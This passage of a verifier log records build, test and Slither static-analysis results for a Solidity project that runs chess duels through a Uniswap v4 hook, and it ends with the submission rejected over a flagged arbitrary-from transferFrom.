3951\n  Bound result 3\n  Bound result 19999999000000003343\n  Bound result 1000000000003\n  Bound result 10001\n  Bound result 19999999000000000610\n  Bound result 45\n  Bound result 12917736984214498361\n  Bound result 19999999000000001083\n  Bound result 19999999000000000064\n  Bound result 19999999000000001047\n  Bound result 19999999000002000001\n  Bound result 19999999000000003735\n  Bound result 2110\n  Bound result 19999999000000005134\n  Bound result 18\n  Bound result 19999999000000010056\n  Bound result 18936515055586986093\n  Bound result 4148328412413322223\n  Bound result 4495717442561279573\n  Bound result 19999999000000000013\n  Bound result 19999999000000005373\n  Bound result 19999999000000000537\n  Bound result 19999999000000000064\n  Bound result 26323861987005628415\n  Bound result 16967\n  Bound result 69141382016868896\n  Bound result 8382523227633657826\n  Bound result 3600\n  Bound result 19999999000000012504\n  Bound result 19999999000000010391\n  Bound result 19999999000000001016\n  Bound result 18023\n  Bound result 1000000000003\n  Bound result 71\n  Bound result 19999999000000006752\n  Bound result 11301370111104018449\n  Bound result 185441288\n  Bound result 30\n  Bound result 49921379714336704167\n  Bound result 15\n  Bound result 15978\n  Bound result 19999999000000003625\n  Bound result 19999999000002000001\n  Bound result 19999999000000001047\n  Bound result 14573925003770228721\n  swaps: 34\n  moves: 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15s (1.15s CPU time)\n\nRan 3 tests for test/Strength.t.sol:StrengthTest\n[PASS] testFuzz_boundedAndMonotonic(uint128,uint128,uint128,uint128) (runs: 2000, μ: 8354, ~: 8631)\n[PASS] testFuzz_tenfoldIsAboutThirtyPoints(uint64,uint8) (runs: 2000, μ: 5966, ~: 5803)\n[PASS] test_decidedPoints() (gas: 12786)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.72s (2.88s CPU time)\n\nRan 6 tests for test/EngineV5Conversion.t.sol:EngineV5ConversionTest\n[PASS] test_bareKingConversion() (gas: 11477223)\nLogs:\n  cases: 4\n  average half-moves to mate: 13\n  converting side: gas avg: 253244\n  converting side: gas max: 338037\n\n[PASS] test_conversionRegressionAndBlackSymmetry() (gas: 95610822)\nLogs:\n  cases: 32\n  average half-moves to mate: 14\n  converting side: gas avg: 238206\n  converting side: gas max: 440989\n\n[PASS] test_conversionSweep() (gas: 1060126808)\nLogs:\n  converted within 40 half-moves: 320 of 320\n  cases: 320\n  average half-moves to mate: 15\n  converting side: gas avg: 241196\n  converting side: gas max: 440997\n\n[PASS] test_generatedConversionValidation() (gas: 856040684)\nLogs:\n  generated corpus: mates within 40 of 256: 256\n  generated corpus: mates within 60 of 256: 256\n  cases: 256\n  average half-moves to mate: 15\n  converting side: gas avg: 243012\n  converting side: gas max: 487067\n\n[PASS] test_queenDoesNotTrapItsKingOnBackRank() (gas: 4149615)\n[PASS] test_rookKingApproachesDiagonallyInsteadOfRetreating() (gas: 1999988)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.72s (5.24s CPU time)\n\nRan 1 test for test/InvariantDuels.t.sol:InvariantDuelsTest\n[PASS]\nInvariantDuelsTest invariants:\n[PASS] invariant_everyBoardIsSound\n[PASS] invariant_everyCurrencyBalances\n[PASS] invariant_rightsMatchTheBoard\n[PASS] invariant_turnsAreWellFormed\n InvariantDuelsTest invariants (runs: 24, calls: 2880, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| DuelsHandler | convert        | 330   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | fund           | 303   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | longPause      | 325   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | nextBlock      | 342   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | roundTrip      | 312   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | trade          | 344   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeAgain     | 284   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | tradeNextBlock | 331   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| DuelsHandler | withdrawReward | 309   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4999999999000003601\n  Bound result 19999999999000014917\n  Bound result 4999999999000000007\n  Bound result 4999999999000005798\n  Bound result 12\n  Bound result 19999999999000350001\n  Bound result 3600\n  Bound result 13914288056135151989\n  Bound result 25333134452981760\n  Bound result 106\n  Bound result 2\n  Bound result 79999999996001400\n  Bound result 12\n  Bound result 19999999999000002888\n  Bound result 19999999999000000036\n  Bound result 5300000000999999999\n  Bound result 19999999999000000161\n  Bound result 19999999999000009001\n  Bound result 12\n  Bound result 19999999999000005863\n  Bound result 4999999999000003243\n  Bound result 3154\n  Bound result 19999999999000000531\n  Bound result 4764\n  Bound result 19999999999000000081\n  Bound result 1000000000000000\n  Bound result 500000000000000000\n  Bound result 19999999999000001101\n  Bound result 81\n  Bound result 12\n  Bound result 226027435835281\n  Bound result 12\n  Bound result 19999999999000000065\n  Bound result 12\n  Bound result 19999999999000016808\n  Bound result 1\n  Bound result 94\n  Bound result 11503557250457312291\n  Bound result 3989\n  Bound result 59\n  Bound result 3774\n  Bound result 19999999999000000193\n  Bound result 19999999999000000655\n  Bound result 19999999999000005001\n  Bound result 12\n  Bound result 14960668166968858803\n  Bound result 19999999999000000032\n  Bound result 12\n  Bound result 4855553097678664388\n  Bound result 50000000000000000000\n  Bound result 19999999999000015733\n  Bound result 12\n  Bound result 14565774915584188795\n  Bound result 4999999999000003144\n  Bound result 12\n  Bound result 1000000003\n  Bound result 15\n  Bound result 12\n  Bound result 6023607821685288689\n  Bound result 19999999999000013601\n  Bound result 79\n  Bound result 17\n  Bound result 4999999999000005595\n  Bound result 184200\n  Bound result 4041521516121418902\n  Bound result 30385201705939754285\n  Bound result 9909566179315531431\n  Bound result 12\n  Bound result 12356040457658074589\n  Bound result 59\n  Bound result 51\n  Bound result 19999999999000001559\n  Bound result 110\n  Bound result 19999999999000003373\n  Bound result 12\n  Bound result 4632179493572466719\n  Bound result 19999999999000013891\n  Bound result 4999999999000000015\n  Bound result 12\n  Bound result 19999999999000007064\n  Bound result 40\n  Bound result 9834159396096915377\n  Bound result 19999999999000002442\n  Bound result 256\n  Bound result 4999999999000002192\n  Bound result 19999999999000005001\n  Bound result 100\n  Bound result 19999999999000000086\n  swaps: 40\n  moves: 20\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.71s (3.70s CPU time)\n\nRan 1 test for test/EngineV5.t.sol:EngineV5Test\n[PASS] test_legalChoicesMatesAndGas() (gas: 5582812196)\nLogs:\n  positions: 3968\n  mates in one taken at full accuracy: 8\n  average gas per choice: 225337\n  max gas per choice: 588275\n  runtime bytes: 22102\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.98s (5.98s CPU time)\n\nRan 1 test for test/Endings.t.sol:EndingsTest\n[PASS] test_statusAgainstChessJs() (gas: 3827346985)\nLogs:\n  games: 200\n  positions: 29637\n  checkmates: 158\n  stalemates: 17\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.85s (7.85s CPU time)\n\nRan 1 test for test/EngineV5Games.t.sol:EngineV5GamesTest\n[PASS] test_selfPlay() (gas: 6565732124)\nLogs:\n  game 0 result 2: \n  game 1 result 2: \n  game 2 result 1: \n  gave rook/queen: 86870238674660599699401622711778689468087322501069979287361930582906697548292 460031 943668479 w 861 net -600 best 0\n  gave rook/queen: 5427754183058795682802489067878151629405184157693509641043824116254826824704 2156336383 3099538431 w 1307 net -500 best -100\n  gave rook/queen: 5427754183058794778899839172196121686052169999515999157796218921811330519040 2156338175 3099538431 w 779 net -500 best 0\n  gave rook/queen: 5880067409023361893519492475378704098026425233886153209393628296587572674560 2156332799 3099539711 w 3376 net -500 best 0\n  gave rook/queen: 6332454073938958339691435558333129996404503485053911374062329293274290847744 2156335103 3099541247 w 2933 net -500 best 0\n  gave rook/queen: 395847936290169010519308284464677771096028646544612309052648037262299234304 2156335103 3099540991 w 1758 net -500 best 0\n  gave rook/queen: 8903592951012892839869185679495287067114716255949491190660030546078336320 2156332799 3099539199 w 166 net -900 best 500\n  gave rook/queen: 5735268393226817914588476328015805100616831101603081661062223767787525898816 2156332799 3099540735 b 3956 net -500 best 0\n  gave rook/queen: 397098877808941878081562480997554670823473734272162587586440933204236959744 2156332799 3099540991 b 3966 net -500 best 0\n  gave rook/queen: 1406291468295779791110155289058693249606348797223262438293504 2156336127 3099537919 b 2268 net -500 best 0\n  gave rook/queen: 1615332164509958130566762150542858943568099321520896366659842039781277696 2156332799 3099540479 b 1814 net -500 best 0\n  gave rook/queen: 6673050404315007858229191350730340348849575803261007268550295068225560379392 2156332543 3099541247 b 3779 net -900 best 0\n  gave rook/queen: 86844066927987146573170702799187181486217849679123279484413781297339253653600 2156331519 3099537407 b 1096 net -500 best 0\n  games: 40\n  White mates: 15\n  Black mates: 24\n  stalemate: 0\n  too little material: 0\n  repetition: 0\n  quiet half-move limit: 0\n  half-move cap: 1\n  average half-moves per game: 95\n  checks per game (x10): 120\n  captures per game (x10): 181\n  undo moves per game (x10): 28\n  longest quiet stretch, average per game: 9\n  games with a quiet stretch of 30+: 1\n  games fingerprint: 0xd8cf2f8bfa2b6511983866ec5be1fddbed4111048ce36347cb13af8a5de4b14a\n  comebacks (behind 3+ pawns at half-move 40, then won): 3 of 15\n  effort < 40%: 683 moves, gas avg 190679 max 401495; mates in one taken 6/7; walked into an avoidable mate 5; gave a piece 9, a rook or queen 2\n  effort 40-70%: 1964 moves, gas avg 206310 max 483412; mates in one taken 21/23; walked into an avoidable mate 12; gave a piece 24, a rook or queen 7\n  effort 70%+: 1184 moves, gas avg 224436 max 552746; mates in one taken 12/15; walked into an avoidable mate 6; gave a piece 8, a rook or queen 6\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.25s (17.25s CPU time)\n\nRan 2 tests for test/Bitboard.t.sol:BitboardTest\n[PASS] test_againstChessJs() (gas: 92724440148)\nLogs:\n  positions: 2689\n  moves applied and compared: 72742\n  positions with a mate in one: 38\n\n[PASS] test_lsb() (gas: 414889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 34.34s (34.27s CPU time)\n\nRan 1 test for test/RulesRandom.t.sol:RulesRandomTest\n[PASS] test_randomGamesAgainstChessJs() (gas: 47928398193)\nLogs:\n  positions compared: 29828\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 83.35s (82.94s CPU time)\n\nRan 26 test suites in 83.35s (162.70s CPU time): 125 tests passed, 0 failed, 0 skipped (125 total tests)\n","passed":true},{"durationMs":140,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDuelHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMDuelHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMDuelHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMDuelHook.convert(address)\",\"IMDuelHook.convertBatch(address)\",\"IMDuelHook.fundChest((address,address,uint24,int24,address),bool,uint256)\",\"IMDuelHook.payOut(address,address,uint256)\",\"IMDuelHook.unlockCallback(bytes)\",\"IMDuelHook.withdraw(address,address)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":60,\"LICENSE\":16,\"foundry.toml\":31,\"launch.json\":10,\"launch/engine.json\":10,\"launch/hook.json\":37,\"launch/hook.sepolia.json\":37,\"script/LaunchPolicy.sol\":44,\"src/Bitboard.sol\":719,\"src/Chess.sol\":34,\"src/ChessEngineV5.sol\":763,\"src/IChessEngine.sol\":29,\"src/IMDuelHook.sol\":822,\"src/Rules.sol\":45,\"src/Strength.sol\":39,\"test/Base.sol\":177,\"test/Bidding.t.sol\":197,\"test/Bitboard.t.sol\":158,\"test/BitboardGas.t.sol\":73,\"test/Chessboard.sol\":73,\"test/Draws.t.sol\":90,\"test/Endings.t.sol\":68,\"test/EngineV5.t.sol\":62,\"test/EngineV5Conversion.t.sol\":172,\"test/EngineV5Games.t.sol\":242,\"test/EngineV5Stalemate.t.sol\":66,\"test/Game.t.sol\":343,\"test/GasEstimate.t.sol\":115,\"test/Harness.sol\":84,\"test/HookGas.t.sol\":150,\"test/Hostile.t.sol\":255,\"test/Invariant.t.sol\":145,\"test/InvariantDuels.t.sol\":414,\"test/Launch.t.sol\":141,\"test/LaunchFiles.t.sol\":67,\"test/Money.t.sol\":337,\"test/Predict.t.sol\":102,\"test/RulesRandom.t.sol\":88,\"test/Size.t.sol\":28,\"test/Slice.t.sol\":345,\"test/Strength.t.sol\":41,\"test/Teams.t.sol\":87,\"test/Tokens.sol\":58,\"test/V5Profile.t.sol\":115,\"test/data/chess.json\":1,\"test/data/conversion-validation.json\":770,\"test/data/conversion.json\":98,\"test/data/endings.json\":1,\"test/data/legal.json\":1,\"test/data/random.json\":1},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":24348,"exitCode":0,"name":"slither","output":"[high/high] arbitrary-send-erc20 at src/IMDuelHook.sol:393: IMDuelHook.unlockCallback(bytes) (src/IMDuelHook.sol#393-416) uses arbitrary from in transferFrom: IERC20Min(Currency.unwrap(c)).transferFrom(who,address(manager),amount) (src/IMDuelHook.sol#411)\n[high/medium] incorrect-exp at src/IMDuelHook.sol:229: IMDuelHook.teamOf(uint8,uint32,bool) (src/IMDuelHook.sol#229-231) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] incorrect-exp at src/IMDuelHook.sol:229: IMDuelHook.teamOf(uint8,uint32,bool) (src/IMDuelHook.sol#229-231) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] unchecked-transfer at src/IMDuelHook.sol:393: IMDuelHook.unlockCallback(bytes) (src/IMDuelHook.sol#393-416) ignores return value by IERC20Min(Currency.unwrap(c)).transferFrom(who,address(manager),amount) (src/IMDuelHook.sol#411)\n[medium/high] incorrect-equality at src/IMDuelHook.sol:459: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#459-477) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:481: IMDuelHook._blockStart(uint160) (src/IMDuelHook.sol#481-486) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:301: IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#301-313) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:459: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#459-477) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMDuelHook.sol:429: IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:429: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:429: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:276: Reentrancy in IMDuelHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/IMDuelHook.sol#276-296):\n[medium/medium] reentrancy-no-eth at src/IMDuelHook.sol:505: Reentrancy in IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#505-538):\n[medium/medium] uninitialized-local at src/Bitboard.sol:643: Bitboard._targets(Bitboard.Pos,Bitboard.Gen,uint8,bool).ep (src/Bitboard.sol#643) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:480: Bitboard._anyLegal(Bitboard.Pos,bool).scratch (src/Bitboard.sol#480) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:425: Bitboard.isLegal(Bitboard.Pos,uint16,bool).scratch (src/Bitboard.sol#425) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:347: IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256).paid (src/IMDuelHook.sol#347) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:400: Bitboard._legalTargets(Bitboard.Pos,Bitboard.Gen,Bitboard.Pos,uint8,bool).ep (src/Bitboard.sol#400) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:236: Bitboard.pieceAttacks(Bitboard.Pos,uint64,uint64,bool).a (src/Bitboard.sol#236) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:580: Bitboard.mateInOne(Bitboard.Pos,bool,uint256).scratch (src/Bitboard.sol#580) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:733: IMDuelHook._repeated(PoolId,IMDuelHook.Game).seen (src/IMDuelHook.sol#733) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:202: IMDuelHook.constructor(IPoolManager,IChessEngine,Currency,uint24,uint24,IHooks,uint256,uint256,uint256,uint256).p (src/IMDuelHook.sol#202) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:666: IMDuelHook._apply(PoolId,IMDuelHook.Game,uint16,Rules.Played,IMDuelHook.Trade).result (src/IMDuelHook.sol#666) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:670: IMDuelHook._apply(PoolId,IMDuelHook.Game,uint16,Rules.Played,IMDuelHook.Trade).reason (src/IMDuelHook.sol#670) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:168: ChessEngineV5._choose(ChessEngineV5.Ctx,uint256,uint256,uint64[8],uint32,uint16).seen (src/ChessEngineV5.sol#168) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:189: ChessEngineV5._choose(ChessEngineV5.Ctx,uint256,uint256,uint64[8],uint32,uint16).refined (src/ChessEngineV5.sol#189) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:391: ChessEngineV5._placement(ChessEngineV5.Ctx,uint8,uint8,uint8,uint8,bool,bool).near (src/ChessEngineV5.sol#391) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:506: ChessEngineV5._exact(ChessEngineV5.Ctx,uint16,int256).threat (src/ChessEngineV5.sol#506) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:261: ChessEngineV5._context(uint256,uint32,uint32,bool,bool).nonPawn (src/ChessEngineV5.sol#261) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:359: ChessEngineV5._cheap(ChessEngineV5.Ctx,uint16).squeeze (src/ChessEngineV5.sol#359) is a local variable never initialized\n[medium/medium] unused-return at src/IMDuelHook.sol:459: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#459-477) ignores return value by (sqrtPrice,None,None,None) = manager.getSlot0(key.toId()) (src/IMDuelHook.sol#464)\n[medium/medium] unused-return at src/IMDuelHook.sol:368: IMDuelHook.withdraw(address,Currency) (src/IMDuelHook.sol#368-374) ignores return value by manager.unlock(abi.encode(uint8(0),abi.encode(who,c,amount))) (src/IMDuelHook.sol#372)\n[medium/medium] unused-return at src/IMDuelHook.sol:389: IMDuelHook.convert(Currency) (src/IMDuelHook.sol#389-391) ignores return value by manager.unlock(abi.encode(uint8(2),abi.encode(address(0),c,uint256(0)))) (src/IMDuelHook.sol#390)\n[medium/medium] unused-return at src/IMDuelHook.sol:259: IMDuelHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/IMDuelHook.sol#259-274) ignores return value by (sqrtPrice,None,None,None) = manager.getSlot0(id) (src/IMDuelHook.sol#266)\n[low/high] shadowing-local at src/ChessEngineV5.sol:728: ChessEngineV5._mop(ChessEngineV5.Ctx,uint8,uint8,uint8,bool,bool).at (src/ChessEngineV5.sol#616) shadows:\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:301: Reentrancy in IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#301-313):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:429: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:346: Reentrancy in IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256) (src/IMDuelHook.sol#346-354):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:378: Reentrancy in IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#378-386):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:276: Reentrancy in IMDuelHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/IMDuelHook.sol#276-296):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:368: Reentrancy in IMDuelHook.withdraw(address,Currency) (src/IMDuelHook.sol#368-374):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:346: Reentrancy in IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256) (src/IMDuelHook.sol#346-354):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:378: Reentrancy in IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#378-386):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:429: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:505: Reentrancy in IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#505-538):\n[low/medium] return-bomb at src/IMDuelHook.sol:632: IMDuelHook._engine(uint256,bytes) (src/IMDuelHook.sol#632-638) tries to limit the gas of an external call that controls implicit decoding\n[low/medium] timestamp at src/IMDuelHook.sol:505: IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#505-538) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:429: IMDuelHook._convert(Currency) (src/IMDuelHook.sol#429-452) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:301: IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#301-313) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:378: IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#378-386) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:331: IMDuelHook._addChest(PoolId,uint256,uint256) (src/IMDuelHook.sol#331-338) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:317: IMDuelHook._chestBps(IMDuelHook.Game) (src/IMDuelHook.sol#317-320) uses timestamp for comparisons","passed":false}],"detail":"static analysis found arbitrary-send-erc20 at src/IMDuelHook.sol:393: IMDuelHook.unlockCallback(bytes) (src/IMDuelHook.sol#393-416) uses arbitrary from in transferFrom: IERC20Min(Currency.unwrap(c)).transferFrom(who,address(manager),amount) (src/IMDuelHook.sol#411)","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"34093f4f338e96865e4ec6335d44e8808469e79038bc6cac2de473a48f15c529","verifiedTreeHash":"5e2ba2a6f8b2f314dbd1a056fd68f0cad09e6275","verifierVersion":"0.1.0+260efc41"},{"checks":[{"durationMs":259956,"exitCode":0,"name":"build","output":"Compiling 119 files with Solc 0.8.26\nCompiling 34 files with Solc 0.8.26\nSolc 0.8.26 finished in 36.55s\nSolc 0.8.26 finished in 259.78s\nCompiler run successful with warnings:\nWarning (8760): This declaration has the same name as another declaration.\n  --> test/Harness.sol:86:9:\n   |\n86 |         uint256 team = teamOf(g.slice, g.gameNo, black);\n   |         ^^^^^^^^^^^^\nNote: The other declaration is here:\n  --> test/Harness.sol:92:5:\n   |\n92 |     function team(uint8 slice, uint32 gameNo, bool black) external pure returns (uint256) {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:18:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                  ^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/Hostile.t.sol:59:26:\n   |\n59 |         returns (uint16, Rules.Played memory)\n   |                          ^^^^^^^^^^^^^^^^^^^\n\nWarning (2072): Unused local variable.\n  --> test/Game.t.sol:86:9:\n   |\n86 |         IMDuelHook.Game memory g = st();\n   |         ^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Bitboard.t.sol:141:5:\n    |\n141 |     function castles(uint16[17] memory line, uint256 plies, uint16 castle) internal returns (bool found) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to view\n  --> test/LaunchFiles.t.sol:62:5:\n   |\n62 |     function test_engineLaunchFileDeploysTheEngineWithoutArguments() public {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:22:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                      ^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:108:38:\n    |\n108 |             rook = ((FILE_A << f) | (RANK_1 << (8 * r))) ^ bit;\n    |                                      ^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:109:57:\n    |\n109 |             uint64 d = f >= r ? DIAG >> (8 * (f - r)) : DIAG << (8 * (r - f));\n    |                                                         ^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/Bitboard.sol:110:65:\n    |\n110 |             uint64 a = f + r <= 7 ? ANTI >> (8 * (7 - f - r)) : ANTI << (8 * (f + r - 7));\n    |                                                                 ^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:38:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (3149): The result type of the shift operation is equal to the type of the first operand (uint64) ignoring the (larger) type of the second operand (uint256) which might be unexpected. Silence this warning by either converting the first or the second operand to the type of the other.\n   --> src/ChessEngineV5.sol:446:69:\n    |\n446 |             uint64 ahead = c.white ? ~uint64(0) << ((r + 1) * 8) : (uint64(1) << (r * 8)) - 1;\n    |                                                                     ^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":92718,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/Size.t.sol:SizeTest\n[PASS] test_deployedCodeFitsTheBudgets() (gas: 89424)\nLogs:\n  hook: 21327\n  engine v5: 22111\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 730.61µs (545.64µs CPU time)\n\nRan 1 test for test/Bitboard.t.sol:CastlingRightsTest\n[PASS] 